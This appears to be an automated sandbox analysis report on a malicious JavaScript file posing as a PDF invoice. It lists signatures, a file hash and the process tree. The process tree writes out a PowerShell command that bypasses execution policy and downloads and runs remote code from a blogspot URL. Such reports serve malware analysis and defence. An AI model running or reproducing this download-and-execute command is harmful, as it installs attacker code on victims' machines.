Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
27/04/2026, 08:09
General
- Target invoice-1645080830.pdf (27).js
- Size 21.8MB
- Sample260427-j2cddsgy2q
- SHA256 49ca3373eeb7223243dfff6e0e1c32d893fa8aa1f524a31a202a0666a83d3859
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\invoice-1645080830.pdf (27).js"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://hot13oct.blogspot.com/dudu.docx.pdf); Start-Sleep -Seconds 172⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_00j54gbu.sxz.ps1
memory/2380-13-0x000001896FF10000-0x000001896FF20000-memory.dmp
memory/2380-21-0x000001896FF10000-0x000001896FF20000-memory.dmp
memory/2380-2-0x000001896FF10000-0x000001896FF20000-memory.dmp
memory/2380-11-0x00000189702D0000-0x00000189702F2000-memory.dmp
memory/2380-25-0x0000018970300000-0x000001897036B000-memory.dmp
memory/2380-24-0x000001896E2B0000-0x000001896E2BC000-memory.dmp
memory/2380-12-0x000001896FF10000-0x000001896FF20000-memory.dmp
memory/2380-14-0x000001896E2B0000-0x000001896E2BC000-memory.dmp
memory/2380-15-0x0000018970300000-0x000001897036B000-memory.dmp
memory/2380-18-0x000001896FF10000-0x000001896FF20000-memory.dmp
memory/2380-3-0x000001896FF10000-0x000001896FF20000-memory.dmp
memory/2380-20-0x0000018970300000-0x000001897036B000-memory.dmp
memory/4360-1-0x000002BE3BA10000-0x000002BE3BA1C000-memory.dmp
memory/4360-0-0x000002BE3B6C0000-0x000002BE3B76C000-memory.dmp